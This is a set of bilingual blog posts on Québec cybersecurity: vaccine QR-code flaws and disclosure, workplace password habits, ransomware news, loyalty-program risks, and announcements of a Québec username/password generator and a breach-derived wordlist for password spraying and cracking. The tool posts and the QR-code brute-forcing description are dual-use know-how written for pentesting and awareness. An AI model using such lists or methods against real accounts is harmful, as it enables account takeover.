• Améliorations pour les écrans de plus petite taille
• Améliorations d’accessibilité

Nous avons utilisé la même marche à suivre que celle décrite plus haut pour tenter de valider le correctif.

Résultat: La vulnérabilité a bien été corrigéée, et nous ne sommes plus capables de l’exploiter.

Sans avoir accès au code de l’application, il est difficile de décrire exactement les correctifs effectués. Cependant, nous sommes tout de même en mesure de faire quelques observations. La plus importante concerne le fait que l’application ne télécharge plus les JWKS externes au chemin /.well-known/jwks.json de l’issuer, elle n’est alors plus en mesure de faire ni l’importation, ni la validation des signatures générées avec des clés autres que celle du gouvernement. De plus, le message d’erreur affiché dans ce cas n’est plus Certifié par une autorité inconnue. Serveur.Local, mais bien Ce code QR n’est pas une preuve de vaccination valide.

Things must have been heating up in the offices of the Ministère de la Santé et des Services sociaux (MSSS, Québec’s health and social services ministry) on Friday morning.

After hammering home that using the QR code as proof of vaccination was 100% secure, two flaws were reported in the media.

First, hackers demonstrated that it was possible to download proofs of vaccination that were not intended for them.

Second, another individual demonstrated that it was possible to create fake QR codes from scratch.

In less than 24 hours.

The MSSS’s initial reaction was to issue a press release stating that “formal complaints have already been filed with the police. The competent authorities will investigate and determine whether criminal charges should be laid.”

We understand their embarrassment. For weeks, the Ministry has been telling us that the chosen solution is secure. In its press release, it doubles down. “The MSSS reiterates that the QR code is secure,” it reads.

And yet, the proof of vaccination was easy to download. All you needed was the person’s name and date of birth. With this information and a few lines of code, you can deduce the health insurance number. Knowing the date and manufacturer of the first vaccine dose speeds up the process. This information is often easy to find on social media.

According to an anonymous source, some of the responses returned by the site made the task easier. “If you have the right health insurance [ number ], it tells you if the date is wrong,” he explained to us. In addition, another message lets you know if you provided the wrong manufacturer name.

According to this person, you are “able to make a lot of requests and nothing stops [ you ].”

Returning error messages this useful to a hacker is a practice to avoid. It gives clues, and it is the first thing a security researcher will look at.

Another security practice is to put measures in place to prevent “brute force”, that is, to prevent someone from trying every possible combination of a health insurance number until they find the right one.

This does not seem to have been done adequately.

Fortunately, these two flaws were found by people who had the common good in mind. An unscrupulous person could have sold their services creating fake QR codes. A malicious person could have publicly released the proofs of vaccination. That is not what happened. The hackers who found these flaws contacted journalists. They wanted these risks to be known and taken seriously.

Instead of calling the police, perhaps we should consider thanking them.

There is currently no official mechanism for a hacker who has found a vulnerability to report it to the government.

It would be a good idea to set one up.

It would be more useful than repeating that everything is fine.

Photo credit: EFF - CC BY license

Il devait faire chaud dans les bureaux du Ministère de la Santé et des Services sociaux (MSSS) vendredi matin.

Après avoir martelé que l’utilisation du code QR comme preuve vaccinale était sécuritaire à 100%, voilà que deux failles sont rapportées dans les médias.

Premièrement, des hackers ont démontré qu’il était possible de télécharger des preuves vaccinales qui ne nous sont pas destinées.

Deuxièmement, un autre individu a démontré qu’il était possible de créer de faux code QR de toute pièce.

En moins de 24 heures.

La réaction initiale du MSSS a été de diffuser un communiqué qui stipule que « des plaintes formelles ont déjà été déposées à la police. Les autorités compétentes feront enquête et détermineront si des accusations criminelles doivent être déposées. »

On comprend leur embarras. Cela fait des semaines que le Ministère nous dit que la solution envisagée est sécuritaire. Dans son communiqué, il persiste et signe. « Le MSSS réitère que le code QR est sécuritaire », peut-on y lire.

Pourtant, la preuve vaccinale était facile à télécharger. Il suffisait de connaître le nom et la date de naissance de la personne. Avec ces informations et quelques lignes de code, on peut déduire le numéro d’assurance maladie. Connaître la date d’administration et le manufacturier de la première dose du vaccin accélère le processus. Ces informations sont souvent faciles à trouver sur les réseaux sociaux.

Selon une source anonyme, certaines réponses renvoyées par le site facilitaient la tâche. « Si on a le bon [ numéro ] d’assurance maladie, ça nous dit si la date n’est pas bonne », nous a-t-il expliqué. De plus un autre message permet de savoir si on a fourni le mauvais nom de manufacturier.

Selon cette personne, on est « capable de faire beaucoup de requêtes et rien ne [ nous ] en empêche. »

Retourner des messages d’erreurs aussi utiles pour un hacker est une pratique à proscrire. Cela donne des indices et c’est la première chose qu’un chercheur en sécurité va regarder.

Une autre pratique de sécurité est de mettre en place des mesures pour empêcher la « force brute ». C’est-à-dire empêcher que l’on puisse essayer toutes les combinaisons possibles d’un numéro d’assurance maladie avant de trouver le bon.

Cela ne semble pas avoir été fait adéquatement.

Heureusement que ces deux failles ont été trouvées par des personnes ayant le bien commun en tête. Une personne peu scrupuleuse aurait pu vendre ses services de création de faux code QR. Une personne mal intentionnée aurait pu diffuser publiquement les preuves vaccinales. Ce n’est pas ce qui s’est passé. Les hackers qui ont trouvé ces failles ont contacté des journalistes. Ils ont voulu que ces risques soient connus et pris au sérieux.

Au lieu d’appeler la police, on devrait peut-être songer à les remercier.

Il n’existe actuellement pas de mécanisme officiel pour qu’un ou une hacker ayant trouvé une vulnérabilité puisse la communiquer au gouvernement.

Ce serait une bonne idée de le mettre en place.

Ce serait plus utile que de répéter que tout va bien.

Crédit photo: EFF - licence CC BY

Before I hung up my white coat, I was a family doctor at a CLSC in downtown Montréal. Every month, the system asked me to change my password. This message was usually preceded by several others warning me that the password would have to be changed in x days.

I had gotten into the habit of ignoring them.

It’s a law of nature that the final message, like a Windows update, always arrives at the worst possible moment.

It usually happened when I was busy and tired. I had possibly just spent 24 hours in the hospital delivery room catching babies, and I had 14 phone messages to return, four faxes to send, illegible reports to decipher and people waiting for me in the waiting room.

When I started at the CLSC, the system administrator had given me a “temporary” password. For all practical purposes, I kept it for 5 years.

It was something like “samhar01”.

There was a rule preventing the reuse of recent passwords. But I quickly realized that once I got to samhar09, I could start over at 01. It was very convenient.

The problem is that I had never considered the risk this posed, and nobody ever brought it up with me.

Recently, an anonymous source sent a photo to Hackfest. This person had gone to a CLSC in the Québec City region. At the front desk sat a computer. On it, the passwords were clearly displayed. Really, plainly visible. They hadn’t been scribbled on a Post-it. No. Someone had gone to the trouble of doing a nice job.

I contacted the CISSS (Centre intégré de santé et de services sociaux, the integrated health and social services centre). Ms. Maryse Rodrigue, from the communications department, replied that the CISSS “[ regularly ] reminds employees about the confidentiality of access codes and passwords, and that there is a policy on this matter.”

The spokesperson also assured me that there would be a follow-up “to rectify the situation”.

The goal here is not to point fingers at the employee who stuck their password on the computer. It is risky behaviour. Unfortunately, experience shows that the more restrictive certain rules and practices become, the more people find ways to get around them. Moreover, training on “why” this behaviour is risky is often lacking.

I asked Vincent Tremblay, a cybersecurity specialist and Hackfest organizer, whether organizations should require their employees to change their passwords often. He told me that “password policies are a double-edged sword. Too complicated? People will do anything to bypass them or just won’t care, and we’re back to square one. Too simple, but you have to change it too often? You can expect ticket #1 to be ‘I forgot my password and it won’t let me change it’.”

So, what do we do?

The solution lies in awareness and education. Authentication isn’t there to annoy us, but to protect highly sensitive and confidential data. Understanding the “why” is essential. Because yes, if we don’t understand its importance, security is often perceived as an obstacle.

While we wait for “passwordless authentication”, we can drop certain outdated practices and use passphrases, relaxing the rules on password complexity and frequent rotation.

Above all, we need to create an environment where employees have the time they need to devote to good information security practices.

We could also stop using the fax machine, but that’s a topic for another day.

Avant de défroquer, j’étais médecin de famille dans un CLSC du centre-ville de Montréal. Tous les mois, le système me demandait de changer de mot de passe. Ce message était habituellement précédé de plusieurs autres messages m’avisant que le mot de passe allait devoir être changé dans x jours.

J’avais pris l’habitude d’ignorer ceux-ci.

C’est une loi de la nature, que le message final, comme la mise à jour de Windows, arrive tout le temps au pire moment.

Cela arrivait habituellement lorsque j’étais occupé et fatigué. Je venais possiblement de passer 24 heures à la salle d’accouchement de l’hôpital à attraper des bébés et j’avais 14 messages téléphoniques à retourner, quatre fax à envoyer, des rapports illisibles à déchiffrer et des gens qui m’attendaient dans la salle d’attente.

En arrivant au CLSC, l’administrateur du système m’avait donné un mot de passe « temporaire ». Je l’ai conservé, à toute fin pratique, pendant 5 ans.

C’était quelque chose comme « samhar01 ».

Il y avait une règle qui empêchait la réutilisation des derniers mots de passe. Mais j’ai rapidement réalisé qu’une fois rendu à samhar09, je pouvais recommencer à 01. C’était bien pratique.

Le problème c’est que je n’avais jamais considéré le risque que cela posait et personne ne m’en a parlé.

Récemment, une source anonyme a fait parvenir une photo au Hackfest. Cette personne est allée dans un CLSC de la région de Québec. À l’accueil se trouvait un ordinateur. Sur celui-ci, on voyait les mots de passe clairement affichés. Vraiment bien visible. Cela n’avait pas été gribouillé sur un post-it. Non. On s’était forcé pour faire du beau travail.

J’ai contacté le CISSS (Centre Intégré de Santé et de Services sociaux). Madame Maryse Rodrigue, du service des communications, a répondu que le CISSS « [ fait ] régulièrement des rappels aux employés à propos de la confidentialité des codes d’accès et mots de passe et qu’il existe une politique à ce propos. »

La porte-parole m’a également assuré qu’un suivi serait fait « pour rectifier la situation ».

L’objectif ici n’est pas de jeter la pierre à l’employé ou l’employée qui a collé son mot de passe sur l’ordinateur. C’est un comportement risqué. Malheureusement, l’expérience montre que plus certaines règles et pratiques deviennent contraignantes et plus les gens trouvent des façons de les contourner. De plus, la formation sur le « pourquoi » ce comportement est risqué fait souvent défaut.

J’ai demandé à Vincent Tremblay, un spécialiste en cybersécurité et membre organisateur du Hackfest, si les organisations devaient obliger leurs employés à changer souvent de mots de passe. Il m’a répondu que « les politiques de mots de passe sont un couteau à double tranchant. Trop compliqué ? Le monde va tout faire pour bypasser ça ou s’en balancer et on est de retour à la case zéro. Trop simple, mais on doit changer trop souvent ? On devra s’attendre à ce que le ticket #1 soit “J’ai oublié mon mot de passe et ça ne me laisse pas le changer”. »

Alors, qu’est-ce qu’on fait ?

La solution passe par la sensibilisation et l’éducation. L’authentification n’est pas là pour nous faire suer, mais pour protéger des données hautement sensibles et confidentielles. Comprendre le « pourquoi » est primordial. Car oui, si l’on n’en comprend pas l’importance, la sécurité est souvent perçue comme un obstacle.

En attendant le « passwordless authentication », on peut laisser tomber certaines pratiques désuètes et utiliser des phrases de passe en assouplissant les règles de complexité et de rotation rapide des mots de passe.

On doit surtout créer un environnement ou les employés et employées ont le temps nécessaire à consacrer aux bonnes pratiques en sécurité de l’information.

On peut aussi arrêter d’utiliser le fax, mais ça, c’est un sujet pour un autre jour.

The day after Québec’s Fête nationale, a criminal group claimed an attack against Lareau courtiers d’assurances. Security experts worry that this attack could be used to target other Québec companies.

On June 25, the Conti ransomware group publicized attacks against several new victims. Among them was the company headquartered in Napierville.

The criminals published a list of devices belonging to the company as well as a list of encrypted passwords. These use the standard encryption of the Windows operating system. According to our analysis, some of them were fairly easy to crack. For now, no personal data has been released on the ransom group’s website.

Once they have access to a network, these groups usually deploy ransomware. This is a program that encrypts data and renders it unusable. A key is needed to recover it. To increase pressure on their victims, they usually threaten to publicly release the information they have stolen.

Lareau has 8 branches in Québec and a team of more than 180 professionals. According to its website, Lareau offers cyber-risk protection.

Targeting a company offering this type of coverage is “the perfect recipe,” according to Steve Waterhouse, a former cyber defence officer in the Canadian Armed Forces. According to the security expert, this attack could help the attackers target their next victims. It allows them to adjust their ransom demands based on the victims’ ability to pay. “It’s brilliant. It lets them do a roaring trade,” he adds.

Lareau did not respond to our requests for information. For Mr. Waterhouse, companies are very reluctant to talk about these incidents because they fear for their reputation. “Security through obscurity should no longer have a place,” he laments.

Photo credit: begemot_dn - CC BY-NC license

Le lendemain de la fête nationale du Québec, un groupe criminel a revendiqué une attaque contre Lareau courtiers d’assurances. Des experts en sécurité s’inquiètent que cette attaque pourrait servir à cibler d’autres entreprises québécoises.

Le 25 juin dernier, le groupe de rançongiciel Conti a publicisé des attaques contre plusieurs nouvelles victimes. Parmi celles-ci se trouvait l’entreprise dont le siège social est basé à Napierville.

Les malfrats ont publié une liste d’appareils appartenant à la compagnie ainsi qu’une liste de mots de passe chiffrés. Il s’agit du chiffrement standard utilisé par le système d’exploitation Windows. Selon notre analyse, certains de ceux-ci étaient assez faciles à déchiffrer. Pour l’instant, aucune donnée personnelle n’a été diffusée sur le site Web du groupe de rançonneurs.

Une fois qu’ils ont accès à un réseau, ces groupes déploient habituellement un rançongiciel. Il s’agit d’un programme qui chiffre les données et les rend inutilisables. Il faut disposer d’une clé pour les récupérer. Afin d’augmenter la pression sur leurs victimes, ils menacent habituellement de diffuser publiquement les informations qu’ils ont volées.

Lareau est présent dans 8 succursales au Québec et compte une équipe de plus de 180 professionnels. Selon son site Web, l’entreprise Lareau offre une protection contre les cyber-risques.

Cibler une compagnie offrant ce type de couverture est « la recette parfaite » selon Steve Waterhouse, ancien officier de cyberdéfense dans les Forces armées canadiennes. Selon l’expert en sécurité, cette attaque a le potentiel d’aider les pirates à cibler leurs prochaines victimes. Cela permet de moduler leurs demandes de rançon en fonction de la capacité de payer de celles-ci. « C’est brillant. Cela leur permet de faire des affaires en or », ajoute-t-il.

La compagnie Lareau n’a pas répondu à nos demandes d’information. Pour M. Waterhouse, les entreprises sont très réticentes à parler de ces incidents, car ils craignent pour leur réputation. « La gestion de la sécurité par l’obscurité ne devrait plus avoir sa place » se désole-t-il.

Crédit photo: begemot_dn - licence CC BY-NC

A ransomware group has targeted petroleum products distributor Filgo-Sonic. The company shut down some of its IT systems, but deliveries to customers continued.

Ms. Véronique Simard, a spokesperson for the organization, replied that the company “confirms that in recent weeks it experienced a shutdown of its IT systems that affected certain operations. While the Group works to restore normal operations, customer service continues without interruption.”

The company did not give details on which services were affected, but specified that “these are mainly central services such as billing.” Shutting down these systems “was necessary as a protective and remediation measure following a cyberattack carried out by an attacker outside the organization,” Ms. Simard explained. With the investigation still ongoing, the company cannot provide further details, but says the systems are being restored.

The criminals published documents they claim to have stolen from the company. These documents are dated June 3 and June 27. The spokesperson says the company “is aware that the attackers published files. Our IT team and our cybersecurity experts retrieved these files and analyzed them.” They are currently in the process of notifying the people affected by this security incident.

Groupe Filgo-Sonic is a Québec company headquartered in Sainte-Marie, in the Beauce region. It owns the Miraco and Sonic gas station banners. According to its website, the Group is “present in Québec’s main regions.” It operates in the distribution of petroleum products to residential and commercial customers, maintains a network of gas stations and convenience stores, and distributes Shell Lubricants.

“Vice Society,” the group that claimed this attack, appeared on the ransomware scene in June 2021. Despite being new, it was one of the most active groups in June. This criminal group announced about ten security breaches during its first month of operation. Schools and hospitals are among the organizations listed on its site.

The software used to encrypt the files is reportedly a variant of the “HelloKitty” ransomware, according to Michael Gillespie, a researcher specializing in malware. The “HelloKitty” group recently made headlines because it had been blamed for the attack against video game company “CD Projekt,” creator of the title “Cyberpunk 2077.”

Un groupe de rançongiciel s’en est pris à l’entreprise de distribution de produits pétroliers Filgo-Sonic. L’entreprise a fermé certains systèmes informatiques, mais la livraison aux clients a été maintenue.

Mme Véronique Simard, porte-parole de l’organisation, a répondu que l’entreprise « confirme avoir vécu dans les dernières semaines un arrêt de ses systèmes informatiques qui a eu un impact sur certaines opérations. Pendant que le Groupe travaille à la reprise des opérations normales, le service aux clients se poursuit sans interruption. »

L’entreprise n’a pas donné de détails sur les services affectés, mais précise qu’il « s’agit surtout de services centraux comme la facturation ». L’arrêt de ces systèmes « a été rendu nécessaire comme mesure de protection et de remédiation à une cyberattaque perpétrée par un attaquant externe à l’organisation » explique Mme Simard. L’enquête étant toujours en cours, l’entreprise ne peut donner plus de précisions, mais assure que les systèmes sont en cours de rétablissement.

Les malfaiteurs ont publié des documents qu’ils revendiquent avoir volés à la compagnie. Ces documents sont datés du 3 et du 27 juin. La porte-parole dit « être au courant que les attaquants ont procédé à une publication de fichiers. Notre équipe TI ainsi que nos experts en cybersécurité ont récupéré ces fichiers et procédé à leur analyse. » Ils sont actuellement en processus de notification des personnes touchées par cet incident de sécurité.

Le Groupe Filgo-Sonic est une entreprise québécoise dont le siège social se trouve à Sainte-Marie, en Beauce. Il possède les bannières d’essence Miraco et Sonic. Selon son site web, le Groupe est « présent dans les principales régions du Québec ». Il œuvre dans les secteurs de la distribution de produits pétroliers à une clientèle résidentielle et commerciale, il maintient un réseau de station-service et de dépanneurs ainsi que la distribution des Lubrifiants Shell.

« Vice Society », le groupe qui a revendiqué cette attaque est apparu sur la scène des rançongiciels en juin 2021. Malgré le fait qu’il soit nouveau, il a été l’un des groupes les plus actifs au mois de juin. Ce groupe de malfaiteurs a annoncé une dizaine de brèches de sécurité lors de son premier mois d’opération. On compte des écoles et des hôpitaux parmi les organisations affichées sur son site.

Le logiciel servant à chiffrer les fichiers serait une variante du rançongiciel « HelloKitty » selon Michael Gillespie, un chercheur spécialisé en maliciel. Le groupe « HelloKitty » a fait les manchettes récemment, car on lui avait attribué l’attaque contre la compagnie de jeux « CD Projekt », créateur du titre « Cyberpunk 2077 ».

This morning, Ukrainian police arrested six individuals linked to the Cl0p ransomware group. Ukrainian authorities issued a press release on Wednesday, June 16, to announce the operation. It was coordinated by Interpol and conducted in collaboration with officers from the United States and South Korea.

Authorities announced that they carried out 21 searches of homes and cars belonging to the suspects in the Kyiv region. Computer equipment, cars and nearly 5 million hryvnias (about CA$225,000) were seized.

At this time, we do not know whether these are key members of the Cl0p group or affiliates. Organizations like Cl0p, which offer ransomware as a service, recruit affiliates. It is these affiliates who infiltrate vulnerable computer networks and deploy the malware provided by the group.

Groups like Cl0p provide the software used to encrypt the victim’s data, the website used to publish stolen documents and a platform to negotiate the ransom. Profits are then shared between the affiliates and the service provider.

This morning, the group’s leak site, hosted on the Tor network, was still accessible.

The Cl0p group was behind the recent attacks against Bombardier, as well as against the Regional Municipality of Durham in Ontario and the Boutin transport company here in Québec. It is too early to know whether the people arrested today are responsible for these attacks, or whether they belong to another group of affiliates.

This article was corrected on 18/06 to fix the amount seized in Canadian dollars.

Ce matin, la police ukrainienne a procédé à l’arrestation de six individus liés au groupe de rançongiciel Cl0p. Les autorités ukrainiennes ont diffusé un communiqué ce mercredi 16 juin pour annoncer l’opération. Celle-ci a été coordonnée par Interpol et menée en collaboration avec des agents provenant des États-Unis et de la Corée du Sud.

Les autorités ont annoncé avoir effectué 21 perquisitions, dans des résidences et des voitures appartenant aux suspects, dans la région de Kiev. De l’équipement informatique, des voitures et près de 5 millions d’hryvnias (environ 225 000 $ CA) ont été saisis.

À l’heure actuelle, nous ne savons pas s’il s’agit de membre clé du groupe Cl0p ou d’affiliés. Rappelons que les organisations comme Cl0p, qui offrent un service de rançongiciel, recrutent des affiliés. Ce sont ces derniers qui infiltrent les réseaux informatiques vulnérables et déploient le logiciel malveillant fourni par le groupe.

Les groupes comme Cl0p offrent le logiciel qui permet de chiffrer les données de la victime, le site web servant à publier les documents volés et une plateforme pour négocier la rançon. Les profits sont ensuite partagés entre les affiliés et le fournisseur de service.

Ce matin, le site de diffusion de matériel volé du groupe, hébergé sur le réseau Tor, était toujours accessible.

Rappelons que le groupe Cl0p était celui derrière les récentes attaques contre Bombardier, ainsi que contre la Municipalité Régionale de Durham en Ontario et la compagnie de transport Boutin ici au Québec. Il est trop tôt pour savoir si les personnes arrêtées aujourd’hui sont responsables de ces attaques, ou s’il s’agit d’un autre groupe d’affiliés.

Cet article a été corrigé le 18/06 pour rectifier le montant saisi en dollars CA.

The trivialization of risks in a column on the cost of loyalty programs published in La Presse drew a reaction from members of the cybersecurity community. “I thought it was a really great article, until I got to that section,” Alexis Dorais-Joncas, head of the R & D centre at ESET Montréal, said in an interview. “I learned a lot,” he adds. However, he finds it unfortunate that the opportunity wasn’t taken to remind consumers that if “you agree to hand over your personal data, do it knowingly.”

For this head of a team of cybersecurity researchers, it is wrong to say the risk is the same because this data is already held by another entity, such as the bank. “The risks add up,” he explains. “The more parties that hold our personal data, the greater the chances that one of them will suffer a leak.”

It’s not just data that’s at risk

Since these programs offer rewards, Mr. Dorais-Joncas adds that the theft of accounts does not only result in lost data, but can involve a monetary loss. The loss associated with the theft of one account may seem minimal for a user, but if a fraudster gets hold of a large number of them, it adds up to much larger sums.

The third impact he noted comes from the fact that some loyalty programs are tied to a payment method. Mr. Dorais-Joncas in fact investigated a fraud case involving McDonald’s mobile app in 2019. A journalist reported being defrauded of $2,000 when someone took over his loyalty account. According to the cybersecurity specialist, “security was completely deficient. [ … ] You could test thousands of username and password combinations in a few minutes.” Moreover, once a valid account was stolen, the app had no anti-fraud measures, and several transactions had been recorded at the same time in several places across the province without this being flagged.

To sign up or not?

For Alexis Dorais-Joncas, you have to ask yourself whether you get a real benefit from the program. He suggests asking yourself, “Am I willing to hand over my personal data to this company in exchange for what it offers me?” Second, he suggests reading the terms of use and privacy policies. He admits this is not always easy, because these policies are not easy to understand, but “they say a lot about how our data will be used.”

Ideally, we should minimize the scope and number of programs we join. It is therefore better to sign up only for programs that genuinely interest us.

Once you decide to join a loyalty program, he suggests never reusing passwords. “We tend to think we don’t need as much security as for our bank account,” but once you get into the habit of using a password manager, “it’s no harder to create a good, unique password for all your accounts.”

Loyalty programs offer benefits, but they are not without risk. It is therefore important that the decision to hand over your personal data not be taken lightly.

Bill 64 is meant to regulate the collection, protection and use of this personal data. Its adoption has been delayed by the government’s recent announcement that it is suspending its study of the bill.

photo credit: Four Bricks Tall - CC BY-NC-ND license

La banalisation des risques dans une chronique sur le coût des programmes de fidélisation publiée dans La Presse a fait réagir des membres de la communauté de cybersécurité. « J’ai trouvé que c’était un super bon article, jusqu’à ce que j’arrive à cette section-là », affirme en entrevue Alexis Dorais-Joncas, directeur du centre de R & D de ESET Montréal. « J’ai appris plein de choses », ajoute-t-il. Par contre, il trouve dommage qu’on n’ait pas profité de cette occasion pour rappeler aux consommateurs que si « vous acceptez de confier vos données personnelles, faites-le en toute connaissance de cause ».

Pour ce responsable d’une équipe de chercheurs en cybersécurité, il est faux de dire que le risque est le même parce que ces données sont déjà détenues par une autre entité, comme la banque. « Les risques s’additionnent », explique-t-il, « plus nos données personnelles sont possédées par un grand nombre de partis, plus les chances sont grandes que l’une d’entre elles soit l’objet d’une fuite ».

Il n’y a pas que les données qui sont à risque

Comme ces programmes offrent des récompenses, M. Dorais-Joncas ajoute que le vol de ceux-ci n’a pas seulement un impact sur la perte de données, mais peut impliquer une perte monétaire. La perte associée avec le vol d’un compte peut sembler minime pour un utilisateur, mais si un fraudeur met la main sur un grand nombre de ceux-ci, cela représente des sommes beaucoup plus importantes.

Le troisième impact noté vient du fait que certains programmes de fidélisation sont associés avec un mode de paiement. M. Dorais-Joncas a d’ailleurs investigué un cas de fraude utilisant l’application mobile de McDonald en 2019. Un journaliste avait rapporté avoir été fraudé de 2000 $ lorsque quelqu’un s’était approprié son compte de fidélisation. Selon le spécialiste en cybersécurité, « la sécurité était complètement déficiente. [ … ] On pouvait tester des milliers de combinaisons de nom d’utilisateur et mot de passe en quelques minutes. » De plus, une fois qu’un compte valide était volé, l’application n’avait aucune mesure antifraude et plusieurs transactions avaient été enregistrées au même moment à plusieurs endroits dans la province sans que cela soit rapporté.

S’abonner, oui ou non ?

Pour Alexis Dorais-Joncas, il faut se demander si l’on retire un réel bénéfice du programme. Il suggère de se poser la question « est-ce que je suis prêt à confier mes données personnelles à cette entreprise en échange de ce qu’elle m’offre ? » Deuxièment, il suggère de lire les politiques d’utilisation et de protection de la vie privée. Il admet que ce n’est pas toujours évident, car ces politiques ne sont pas faciles à comprendre, mais « cela en dit long sur l’utilisation qui va être faite de nos données ».

Idéalement, on devrait minimiser la portée et le nombre de programmes auxquels on adhère. Il est donc préférable de ne s’abonner qu’aux programmes qui nous intéressent réellement.

Une fois que l’on décide de s’inscrire à un programme de fidélisation, il suggère de ne jamais réutiliser de mot de passe. « On a tendance à croire que l’on n’a pas besoin d’autant de sécurité que pour notre compte de banque », mais une fois qu’on a pris l’habitude d’utiliser un gestionnaire de mot de passe, « ce n’est pas plus forçant de créer un bon mot de passe unique pour tous ses comptes. »

Les programmes de fidélité offrent des avantages, mais ils ne sont pas sans risque. Il est donc important que la décision de confier ses données personnelles ne soit pas prise à la légère.

Le projet de Loi 64 doit venir encadrer la collecte, la protection et l’utilisation de ces données personnelles. L’adoption de celui-ci a pris du retard avec l’annonce récente par le gouvernement de suspendre son étude.

crédit photo: Four Bricks Tall - licence CC BY-NC-ND

What

Over various penetration tests, I always found that there was no equivalent of a list of possible usernames in French. Following Hackfest’s latest blog post publishing a wordlist adapted to Québec, I decided to publish my own script that generates common usernames adapted to Québec.

Also, many passwords are still based on first and last names (of children, parents, wives, etc.). These are generally French names that are not (or barely) part of standard wordlists. Using sites that publish information on the most popular names, such as prenomsquebec.ca, and a Wikipedia article, it is possible to create many combinations.

So I present the Github repository QC_Username_Generator.

Features

• Generate popular usernames based on Québec names
• Adapt the name format depending on the test or application
• Optionally add a domain name in case the username requires an email address
• Generate commonly used passwords (combinations of names and years)

This script generates several username variations based on the most popular last names (top 1000) and first names in Québec since 1980.

It can also add a variation with a domain name to generate potential email addresses (e.g. jeantremblay@example.com). The usernames can then easily be used for password spraying or simply for enumeration. In addition, it can generate passwords that include the name and the year (e.g. Tremblay2020!, jean2021, ..). Sorry if that’s your password!

They can then be used on their own for password cracking, in combination with other lists such as w0lfd3n, or added to Hashcat rules.

Use cases

• For password spraying
• To perform user enumeration
• To generate a wordlist of possible passwords during password cracking

Usage examples

• The script is based on Python3 and requires no external modules.
• The name lists are stored in the source folder.

The various possible arguments:

[-u] permet de générer une liste d'utilisateurs [-w] permet de générer une liste de mot de passe [-d] spécifie que vous voulez une liste contenant un domaine/courriel (ex: nomcomplet@domaine.com) [-o] pour spécifier le nom du fichier en sortie (exemple.txt), sinon ce sera affiché en STDOUT 

To generate a list containing email addresses to a text file:

python3 main.py -u -d -o fichier 

To generate a list of usernames to a text file:

python3 main.py -u -o fichier 

To generate a list of potential passwords to a text file:

python3 main.py -w -o fichier 

Final word

As always, we recommend using a password manager such as BitWarden or KeePassXC to generate complex passwords and store them securely.

You can contact me on the Hackfest Discord: @redshell

Photo credit: christiaancolen - CC BY license

Quoi

J’ai toujours trouvé lors de différents tests d’intrusions qu’il manquait l’équivalent d’une liste d’utilisateurs possibles en français. Suivant le dernier blog post du Hackfest publiant une wordlist adaptée au Québec, j’ai décidé de publier mon propre script qui permet de générer des noms d’utilisateurs communs adaptés pour le Québec.

Également, beaucoup de mots de passe sont encore basés sur les noms et prénoms (des enfants, parents, femme, etc). Ce sont généralement des noms français qui ne font pas (ou peu) partie des wordlists standards. En utilisant des sites qui publient l’information sur les noms les plus populaires tels que prenomsquebec.ca et un article Wikipedia, il est possible de créer plusieurs combinaisons.

Je présente donc le dépôt Github QC_Username_Generator.

Fonctions

• Générer des noms d’utilisateurs populaires, provenant de noms Québecois
• Pouvoir adapter le format des noms en fonction du test ou de l’application
• Avoir la possibilité d’ajouter un nom de domaine dans le cas ou le nom d’utilisateur nécessite un courriel
• Générer des mots de passe qui sont souvent utilisés (combinaisons de noms et années)

Ce script permet de générer plusieurs variations de nom d’utilisateurs basé sur les noms de famille (top 1000) et les prénoms les plus populaires du Québec depuis 1980.

Il permet également d’ajouter une variation avec un nom de domaine pour générer des courriels potentiels (ex: jeantremblay@example.com). Les noms d’utilisateurs peuvent ensuite facilement être utilisés dans le cadre de pulvérisation de mot de passe ou d’énumération simplement. De plus, il est possible de générer des mots de passe qui incluent le nom et l’année (ex: Tremblay2020!, jean2021, ..). Désolé si c’est votre mot de passe!

Ils peuvent ensuite être utilisés à eux seuls pour du password cracking, en combinaison avec d’autres listes telles que w0lfd3n, ou en ajout à des règles Hashcat.

Les cas d’utilisations

• Dans le cadre de pulvérisation de mot de passe
• Afin d’effectuer une énumération d’utilisateurs
• Pour générer une wordlist de mots de passe possibles lors de password cracking

Exemples d’utilisation

• Le script est basé sur Python3 et ne nécessite aucun module externe.
• Les listes de noms sont stockées dans le dossier source.

Les différents arguments possibles:

[-u] permet de générer une liste d'utilisateurs [-w] permet de générer une liste de mot de passe [-d] spécifie que vous voulez une liste contenant un domaine/courriel (ex: nomcomplet@domaine.com) [-o] pour spécifier le nom du fichier en sortie (exemple.txt), sinon ce sera affiché en STDOUT 

Pour générer une liste contenant des courriels vers un fichier texte:

python3 main.py -u -d -o fichier 

Pour générer une liste d’utilisateurs vers un fichier texte:

python3 main.py -u -o fichier 

Pour générer une liste de mot de passe potentiel vers un fichier texte:

python3 main.py -w -o fichier 

Mot de la fin

Comme toujours, il est conseillé d’utiliser un gestionnaire de mots de passe tels que BitWarden ou KeePassXC afin de générer des mots de passe complexes et les stocker de façon sécuritaire.

Vous pouvez me contacter sur le Discord du Hackfest: @redshell

Crédit photo: christiaancolen - licence CC BY

Recently, I was testing my modest “pentest” skills on my personal WI-FI network. Following the classic methodology, I performed a deauthentication attack on a device connected to my “access point”, captured the WPA2 key exchange, and tried to “crack” the password using a “wordlist”. For the sake of the exercise, the password used was alarmingly simple. Despite that, I was unable to find it.

That’s when reality hit me: the usual “wordlists” available online contain little or no French and/or Québec vocabulary, since most of them come from American and international breaches. During discussions on some Discord servers (Hackfest), I noticed that very few French-language references were indeed available and that there was a desire to create such a password list. Our group, w0lfd3n, a team of professionals and enthusiasts who are mostly from Québec, came together around this idea. We seized the opportunity to found an official group in order to get involved in the cybersec community. This project was a kind of catalyst for the group and an extra motivation to explore methods and skills that were, for most of us, still new, i.e. GitHub. We hope the project will make a positive contribution to the Québec cybersec community.

We are pleased to present the public repository w0lfd3n’s quebec_wordlist. This list is extracted, for the most part, from passwords found in several public data breaches, all related to Québec domains (public institutions, private sector, etc.). It has several potential applications, i.e. a “wordlist” for John The Ripper and Hashcat, or simply a list of passwords to avoid. You can combine good password discipline with this list to avoid using weak and compromised passwords.

We also recommend using a password manager such as BitWarden or KeePassXC to avoid reusing the same password multiple times. We plan to make constant changes and additions to this list, and we are of course open to any external contributions that meet our criteria.

You can contact us at hello@w0lfd3n.org .

Photo credit: worldsdirection - CC BY license

